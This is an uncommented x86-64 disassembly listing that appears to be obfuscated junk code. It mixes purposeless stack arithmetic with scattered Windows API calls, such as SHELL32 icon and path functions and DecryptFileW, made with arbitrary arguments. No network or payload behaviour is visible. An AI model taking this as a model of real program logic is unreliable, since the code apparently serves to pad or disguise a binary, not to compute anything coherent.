mov rcx, qword [rsp + 0xea20]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
mov rax, qword [rsp + 0xd6e0]
mov rcx, qword [rsp + 0xde80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc4a8], rax
lea rax, [rsp + 0x5b3c]
mov qword [rsp + 0xf628], rax
mov rax, qword [rsp + 0xe378]
mov rcx, qword [rsp + 0xe700]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaa00], rax
mov ecx, reloc.SHELL32.dll_ILIsParent
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x6d18], eax
lea rax, [rsp + 0x1e650]
mov qword [rsp + 0x20], rax
mov r9d, reloc.SHELL32.dll_ILCreateFromPathW
lea r8, [rsp + 0x1e970]
lea rdx, [rsp + 0xd3c0]
lea rcx, [rsp + 0xd668]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x6fc8], eax
movsx eax, word [rsp + 0x1048]
movsx ecx, word [rsp + 0x2dd4]
sar eax, cl
mov rcx, qword [0x14019f1c0]
mov word [rcx], ax
lea rax, [rsp + 0x2da8]
mov qword [rsp + 0xf630], rax
movzx eax, byte [rsp + 0x5bb]
movzx ecx, byte [rsp + 0x14f]
shl eax, cl
mov rcx, qword [rsp + 0xe440]
mov byte [rcx], al
lea rax, [rsp + 0x64d8]
mov qword [rsp + 0xf638], rax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeb00]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd968], rax
mov eax, dword [0x14019f428]
mov ecx, dword [rsp + 0x6e78]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e44], eax
movsx eax, byte [rsp + 0x515]
movsx ecx, byte [rsp + 0x59b]
sub eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0xee48]
mov rcx, qword [rsp + 0xdb78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9070], rax
movzx eax, word [0x14019d258]
mov word [rsp + 0x30d8], ax
mov rax, qword [rsp + 0xdb00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cf4]
sar eax, cl
mov word [0x14019d32c], ax
mov rax, qword [rsp + 0xef80]
mov rcx, qword [rsp + 0xbc68]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xf298], rax
movzx eax, word [rsp + 0x2cfc]
movzx ecx, word [rsp + 0x2a48]
shl eax, cl
mov word [rsp + 0x1be0], ax
lea rax, [rsp + 0x24f4]
mov qword [rsp + 0xf640], rax
mov rax, qword [0x14019f3f0]
mov rcx, qword [rsp + 0x9690]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd780]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6ffc]
mov dword [rsp + 0x71b0], eax
mov rax, qword [rsp + 0xef48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2db]
add eax, ecx
mov byte [rsp + 0x587], al
mov rax, qword [rsp + 0xe9a0]
mov rcx, qword [0x14019f120]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x95a0], rax
mov edx, 0xb6
mov rcx, qword [rsp + 0xd268]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x71b4], eax
movzx eax, word [rsp + 0x2da8]
movzx ecx, word [rsp + 0x1bb0]
add eax, ecx
mov word [rsp + 0x19a4], ax
mov rax, qword [rsp + 0xecb0]
mov rcx, qword [rsp + 0xc488]
add rcx, rax
mov rax, rcx
mov qword [0x14019f110], rax
mov eax, dword [rsp + 0x6700]
mov rcx, qword [rsp + 0xf548]
mov qword [rsp + 0xf648], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf648]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5eb4], eax
movzx eax, byte [rsp + 0x3fb]
mov byte [rsp + 0x5c2], al
mov rax, qword [rsp + 0xed08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1244]
or eax, ecx
mov word [rsp + 0x308c], ax
mov rax, qword [0x14019f230]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf210]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c8c], ax
mov rax, qword [rsp + 0xef48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x17c]
and eax, ecx
mov rcx, qword [rsp + 0xe308]
mov byte [rcx], al
lea r8, [rsp + 0xea88]
lea rdx, [rsp + 0x1e078]
mov ecx, ILGetNext
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x70bc], eax
mov rax, qword [rsp + 0xdea8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019d1b0]
shl rax, cl
mov qword [rsp + 0x9fc0], rax
lea rax, [rsp + 0x6f34]
mov qword [rsp + 0xf650], rax
movsx eax, word [rsp + 0x3028]
mov rcx, qword [rsp + 0xd5b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b40], ax
movzx eax, word [0x14019f188]
mov word [0x14019f64c], ax
mov rax, qword [rsp + 0xf2c0]
mov rax, qword [rax]
mov qword [rsp + 0xf658], rax
mov rax, qword [rsp + 0xbfc8]
mov rcx, qword [rsp + 0xe7a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf1d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa6f8]
movzx ecx, al
mov rax, qword [rsp + 0xf2f8]
shl rax, cl
mov qword [rsp + 0xae70], rax
mov rax, qword [rsp + 0xd470]
movzx eax, word [rax]
mov word [rsp + 0x30dc], ax
mov rax, qword [rsp + 0xe500]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x588]
or eax, ecx
mov rcx, qword [rsp + 0xec38]
mov byte [rcx], al
mov rax, qword [rsp + 0xe388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1e8]
mov qword [rsp + 0xf660], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf660]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8f18], rax
mov rax, qword [rsp + 0xdd00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e6c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdfa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf398]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7028]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60c4], eax
lea rax, [rsp + 0x548]
mov qword [rsp + 0xf668], rax
movsx eax, word [rsp + 0x2a90]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019f4c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [0x14019f5a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2f14], ax
mov rax, qword [rsp + 0xf090]
movzx eax, word [rax]
mov word [rsp + 0x30e0], ax
mov rax, qword [rsp + 0x9ca8]
mov rcx, qword [rsp + 0xd088]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac8], rax
movsx eax, byte [rsp + 0x347]
mov rcx, qword [rsp + 0xeed8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4f7], al
lea rcx, [rsp + 0x1fce0]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x6d40], eax
mov rax, qword [rsp + 0xddc8]
mov ecx, dword [rsp + 0x6480]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x64dc], eax
mov rax, qword [rsp + 0xdea8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaa78]
shl rax, cl
mov qword [rsp + 0xae28], rax
mov rax, qword [0x14019f388]
movzx eax, word [rax]
mov word [rsp + 0x30e4], ax
mov rax, qword [rsp + 0xec90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe930]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2ed4], ax
mov rax, qword [rsp + 0xd7a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe2f0]
sar rax, cl
mov qword [0x14019d330], rax
movzx eax, word [rsp + 0x2b90]
movzx ecx, word [rsp + 0x2ccc]
sub eax, ecx
mov word [rsp + 0x20dc], ax
mov rax, qword [rsp + 0xdb98]
mov rcx, qword [rsp + 0xf1d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xecf0]
mov qword [rcx], rax
xor r8d, r8d
lea rdx, [rsp + 0xee08]
lea rcx, [rsp + 0xcf50]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0xee08], rax
mov rax, qword [rsp + 0xeb58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xf190]
sar rax, cl
mov qword [rsp + 0xd000], rax
mov rax, qword [rsp + 0xe768]
mov qword [rsp + 0xf670], rax
mov rax, qword [rsp + 0xf498]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe7e8]
mov qword [rsp + 0xf678], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf678]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7064], eax
movzx eax, byte [0x14019ef90]
mov byte [rsp + 0x5c3], al
mov rax, qword [rsp + 0xd480]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ac4], eax
mov rax, qword [rsp + 0xe960]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xec28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x565], al
movsx eax, word [0x14019f024]
movsx ecx, word [rsp + 0x2bb4]
add eax, ecx
mov word [0x14019f0e0], ax
movsx eax, word [rsp + 0x2ab8]
movsx ecx, word [rsp + 0x2cf0]
and eax, ecx
mov word [rsp + 0x29cc], ax
movzx eax, word [rsp + 0x2e9c]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2d3c], ax
lea r9, [rsp + 0x22970]
mov r8d, 0xa4
mov edx, 0xe7
mov rcx, qword [rsp + 0xeea8]
call sub.VERSION.dll_GetFileVersionInfoW
mov dword [rsp + 0x6dac], eax
movzx eax, word [rsp + 0x1cc0]
mov word [rsp + 0x30e8], ax
mov rax, qword [rsp + 0xe388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x95a0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xeef0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6cf0]
movzx ecx, al
mov eax, dword [0x14019f5b4]
shl eax, cl
mov dword [rsp + 0x6df8], eax
mov rax, qword [rsp + 0xe500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe058]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1c6], al
movsx eax, word [rsp + 0x10c8]
movsx ecx, word [0x14019f348]
sub eax, ecx
mov word [rsp + 0x2d6c], ax
movzx eax, word [rsp + 0x11f4]
mov word [rsp + 0x30ec], ax
mov rax, qword [rsp + 0xdef8]
mov qword [0x14019f650], rax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0xe6d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa830], rax
mov rax, qword [rsp + 0xdf80]
mov rcx, qword [0x14019d2b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe710], rax
mov rax, qword [rsp + 0xe808]
mov rax, qword [rax]
mov qword [rsp + 0xf680], rax
movzx eax, word [rsp + 0x12e8]
movzx ecx, word [rsp + 0x2ea0]
sar eax, cl
mov word [rsp + 0x2da8], ax
lea rax, [rsp + 0x6ef0]
mov qword [rsp + 0xf688], rax
mov rax, qword [rsp + 0xdc50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x53c], al
mov rax, qword [rsp + 0xe8a8]
mov ecx, dword [rsp + 0x6ecc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5b54], eax
mov rax, qword [rsp + 0xe6a8]
mov rcx, qword [rsp + 0xf1b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd4c0], rax
mov rax, qword [rsp + 0xec38]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xeae8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019ef9b], al
movsx eax, word [rsp + 0x2bb8]
mov rcx, qword [rsp + 0xdcf8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd818]
mov word [rcx], ax
mov rax, qword [rsp + 0xe558]
movzx eax, word [rax]
mov word [rsp + 0x30f0], ax
movzx eax, word [rsp + 0xc2c]
movzx ecx, word [rsp + 0x2f28]
and eax, ecx
mov word [rsp + 0x305c], ax
mov rax, qword [rsp + 0xd998]
mov rcx, qword [0x14019f370]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc20], rax
mov rax, qword [rsp + 0xeac8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xadb8]
shr rax, cl
mov qword [rsp + 0xdd18], rax
mov rax, qword [0x14019f488]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x60f4]
shl eax, cl
mov rcx, qword [rsp + 0xd3d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf3f8]
movzx eax, byte [rax]
mov byte [rsp + 0x5c4], al
mov rax, qword [rsp + 0xe6a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2fa0], ax
movzx eax, word [rsp + 0x2b48]
mov rcx, qword [rsp + 0xd888]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d2f8], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov qword [rsp + 0xf690], rax
mov rax, qword [rsp + 0xd800]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd828]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xf4b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xe6d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf2a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2d5], al
mov rax, qword [rsp + 0xda60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5a00]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x652c], eax
movsx eax, byte [rsp + 0x57d]
movsx ecx, byte [0x14019ef9b]
shl eax, cl
mov byte [rsp + 0x2db], al
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
mov dword [rsp + 0x71b8], eax
mov rax, qword [rsp + 0xe7d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf1a0]
mov qword [rsp + 0xf698], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf698]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xe350], rax
movsx eax, word [rsp + 0x1624]
mov rcx, qword [0x14019f618]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd18], ax
mov rax, qword [rsp + 0xee70]
movzx eax, word [rax]
mov word [0x14019f658], ax
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe928], rax
mov rax, qword [rsp + 0xd780]
mov rax, qword [rax]
mov rcx, qword [0x14019f118]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xecf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe558]
movzx eax, word [rax]
mov word [rsp + 0x30f4], ax
movzx eax, word [rsp + 0x2ccc]
mov rcx, qword [rsp + 0xdb00]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2d38], ax
mov rax, qword [0x14019d118]
mov qword [rsp + 0xf6a0], rax
mov rax, qword [rsp + 0xdd88]
mov rcx, qword [rsp + 0xd0d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x718c], eax
movsx eax, byte [rsp + 0x4e0]
movsx ecx, byte [rsp + 0x3e7]
or eax, ecx
mov byte [rsp + 0x53f], al
mov rax, qword [rsp + 0xdd90]
mov rax, qword [rax]
mov rcx, qword [0x14019f2b0]
mov qword [rsp + 0xf6a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf6a8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb148], rax
mov r8d, 0xfe
mov rdx, qword [rsp + 0xdbf8]
mov rcx, qword [rsp + 0xe0f0]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0xf6b0], rax
lea rax, [rsp + 0x1f38]
mov qword [0x14019f660], rax
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd630]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd888]
mov word [rcx], ax
mov rax, qword [rsp + 0xedf8]
mov eax, dword [rax]
mov dword [rsp + 0x71bc], eax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x592], al
mov rax, qword [rsp + 0xe740]
mov rcx, qword [rsp + 0xbf58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe988], rax
mov rax, qword [rsp + 0xdd88]
mov rcx, qword [rsp + 0xd058]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6210], eax
mov rax, qword [rsp + 0xe450]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xef60]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4f8], al
lea rax, [0x14019f4a0]
mov qword [rsp + 0xf6b8], rax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ebc]
sar eax, cl
mov word [rsp + 0x2a7c], ax
mov rax, qword [rsp + 0xef10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xec90]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019f090], ax
mov rax, qword [rsp + 0xea80]
mov rcx, qword [rsp + 0xeee0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa160], rax
mov rax, qword [rsp + 0xebb8]
movzx eax, word [rax]
mov word [rsp + 0x30f8], ax
mov rax, qword [rsp + 0xd9b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdc40]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1770], ax
mov rax, qword [rsp + 0xd940]
mov rcx, qword [rsp + 0xd2a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9768], rax
mov eax, dword [rsp + 0x6fc4]
mov ecx, dword [rsp + 0x70d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x70b4], eax
mov rax, qword [rsp + 0xf2e8]
mov rax, qword [rax]
mov qword [rsp + 0xf6c0], rax
mov rax, qword [0x14019f270]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x329]
sar eax, cl
mov byte [rsp + 0x579], al
mov rax, qword [rsp + 0xecb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1364]
or eax, ecx
mov word [rsp + 0x2a54], ax
mov rax, qword [rsp + 0xaa00]
mov rcx, qword [0x14019f030]
mov qword [rsp + 0xf6c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf6c8]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14019f118], rax
movzx eax, byte [rsp + 0x56b]
mov byte [rsp + 0x5c5], al
lea rax, [rsp + 0xd530]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x20160]
lea r8, [rsp + 0xd130]
mov edx, 0x5e
lea rcx, [rsp + 0xd520]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x6f04], eax
mov rax, qword [rsp + 0xd150]
mov ecx, dword [rsp + 0x70a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6928], eax
mov rax, qword [rsp + 0xecc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b78]
add eax, ecx
mov word [rsp + 0x1274], ax
mov rax, qword [rsp + 0xe458]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfd4]
add eax, ecx
mov word [rsp + 0x2a98], ax
mov rax, qword [rsp + 0xe428]
mov rcx, qword [rsp + 0xdac0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xddd8], rax
mov rax, qword [rsp + 0xf478]
movzx eax, byte [rax]
mov byte [rsp + 0x5c6], al
mov rax, qword [rsp + 0xdd88]
mov ecx, dword [rsp + 0x70b8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d00], eax
movsx eax, word [rsp + 0xd68]
movsx ecx, word [rsp + 0x2714]
sar eax, cl
mov word [rsp + 0x18e4], ax
movzx eax, word [rsp + 0x3034]
mov rcx, qword [rsp + 0xf248]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019d338], ax
mov rax, qword [rsp + 0xdda0]
mov rcx, qword [rsp + 0xd780]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa648], rax
mov rax, qword [rsp + 0xbf08]
mov rcx, qword [rsp + 0xe720]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd848], rax
mov rax, qword [rsp + 0xe8b0]
mov rax, qword [rax]
mov qword [rsp + 0xf6d0], rax
mov rax, qword [rsp + 0xd928]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe6a0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xe148]
mov word [rcx], ax
mov rax, qword [rsp + 0xf628]
mov eax, dword [rax]
mov dword [rsp + 0x71c0], eax
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9fe0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd468]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x561]
sub eax, ecx
mov byte [rsp + 0x405], al
mov rax, qword [rsp + 0xe760]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe9a8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4e2], al
mov eax, dword [rsp + 0x5b5c]
movzx ecx, al
mov eax, dword [rsp + 0x70a0]
shl eax, cl
mov dword [rsp + 0x7080], eax
movzx eax, word [0x14019f080]
mov word [0x14019f668], ax
movzx eax, word [rsp + 0x2be4]
mov word [rsp + 0x30fc], ax
movzx eax, word [rsp + 0x2a60]
mov rcx, qword [rsp + 0xec70]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x20dc], ax
mov rax, qword [rsp + 0xec50]
mov rcx, qword [rsp + 0xea68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xee48]
mov rcx, qword [rsp + 0xb658]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd678], rax
mov rax, qword [rsp + 0xe450]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xec80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x26c], al
lea r9, [rsp + 0xf1b8]
lea r8, [rsp + 0x6bc4]
lea rdx, [rsp + 0x1e088]
lea rcx, [rsp + 0x6fd4]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x7188], eax
mov rax, qword [rsp + 0xdbd8]
mov eax, dword [rax]
mov dword [rsp + 0x71c4], eax
movsx eax, word [rsp + 0x2e78]
mov rcx, qword [rsp + 0xf430]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b28], ax
movzx eax, word [rsp + 0x1634]
mov word [rsp + 0x3100], ax
mov rax, qword [rsp + 0xd780]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe9c0]
add rcx, rax
mov rax, rcx
mov qword [0x14019d200], rax
movzx eax, word [rsp + 0x28e0]
movzx ecx, word [rsp + 0x2b04]
xor eax, ecx
mov word [rsp + 0x1b78], ax
mov rax, qword [rsp + 0xdfe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe258]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa328], rax
mov rax, qword [rsp + 0xe150]
movzx ecx, al
mov rax, qword [rsp + 0xd848]
sar rax, cl
mov qword [rsp + 0xa080], rax
movsx eax, byte [rsp + 0x1e5]
mov rcx, qword [rsp + 0xf440]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x392], al
mov rax, qword [rsp + 0xeba0]
mov eax, dword [rax]
mov dword [rsp + 0x71c8], eax
mov rax, qword [rsp + 0xeb98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdbc8]
mov qword [rsp + 0xf6d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf6d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5d00], eax
movzx eax, byte [rsp + 0x51e]
mov rcx, qword [rsp + 0xf138]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50b], al
mov rax, qword [rsp + 0xe278]
mov rcx, qword [rsp + 0xeef0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xccc0], rax
lea rax, [rsp + 0x2ff0]
mov qword [0x14019f670], rax
mov rax, qword [rsp + 0xe828]
movsx eax, word [rax]
mov rcx, qword [0x14019f028]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b38], ax
mov rax, qword [rsp + 0xe930]
movzx eax, word [rax]
mov word [rsp + 0x3104], ax
movzx eax, word [rsp + 0x2fb8]
mov rcx, qword [rsp + 0xecd0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c40], ax
mov rax, qword [rsp + 0xe9a0]
mov rcx, qword [0x14019f2e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xafe0], rax
mov eax, dword [rsp + 0x6ed4]
mov ecx, dword [rsp + 0x6970]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fa4], eax
movsx eax, byte [rsp + 0x500]
movsx ecx, byte [rsp + 0x571]
add eax, ecx
mov rcx, qword [rsp + 0xe1d0]
mov byte [rcx], al
mov rax, qword [0x14019f5b8]
movzx eax, word [rax]
mov word [rsp + 0x3108], ax
mov dword [rsp + 0x20], 0x77
lea r9, [rsp + 0x7088]
lea r8, [rsp + 0xf310]
mov edx, 0xef
mov rcx, qword [rsp + 0xd360]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [rsp + 0x6e0c], eax
mov rax, qword [rsp + 0xec70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2be0]
xor eax, ecx
mov rcx, qword [rsp + 0xd800]
mov word [rcx], ax
mov rax, qword [rsp + 0xd940]
mov rcx, qword [rsp + 0xdbc0]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14019f308], rax
mov rax, qword [rsp + 0xdab8]
mov qword [rsp + 0xf6e0], rax
mov rax, qword [rsp + 0xed60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd000]
shl rax, cl
mov qword [rsp + 0xcaf0], rax
mov rax, qword [rsp + 0xed98]
movzx ecx, al
mov rax, qword [rsp + 0xb580]
sar rax, cl
mov qword [rsp + 0xf058], rax
lea rax, [rsp + 0x2e1c]
mov qword [rsp + 0xf6e8], rax
movzx eax, byte [rsp + 0x47f]
movzx ecx, byte [rsp + 0x594]
or eax, ecx
mov byte [rsp + 0x5b0], al
mov rax, qword [rsp + 0xe550]
mov ecx, dword [rsp + 0x6288]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5a34], eax
mov rax, qword [rsp + 0xd9a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa570]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4a8], rax
movsx eax, byte [rsp + 0x591]
movsx ecx, byte [rsp + 0x4ad]
sub eax, ecx
mov byte [rsp + 0x53f], al
mov rax, qword [rsp + 0xf628]
mov eax, dword [rax]
mov rcx, qword [0x14019efc8]
mov qword [rsp + 0xf6f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf6f0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14019d33c], eax
lea rax, [rsp + 0x26ac]
mov qword [rsp + 0xf6f8], rax
lea rcx, [rsp + 0xd580]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x6bb8], eax
mov rax, qword [rsp + 0xf008]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xecc8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3054], ax
movzx eax, word [rsp + 0x306c]
mov word [rsp + 0x310c], ax
mov rax, qword [rsp + 0xd6d0]
mov rcx, qword [rsp + 0xb450]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xd860]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x52f]
movsx ecx, byte [0x14019ef9c]
add eax, ecx
mov byte [rsp + 0x576], al
mov eax, dword [rsp + 0x7124]
mov ecx, dword [rsp + 0x7004]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58ac], eax
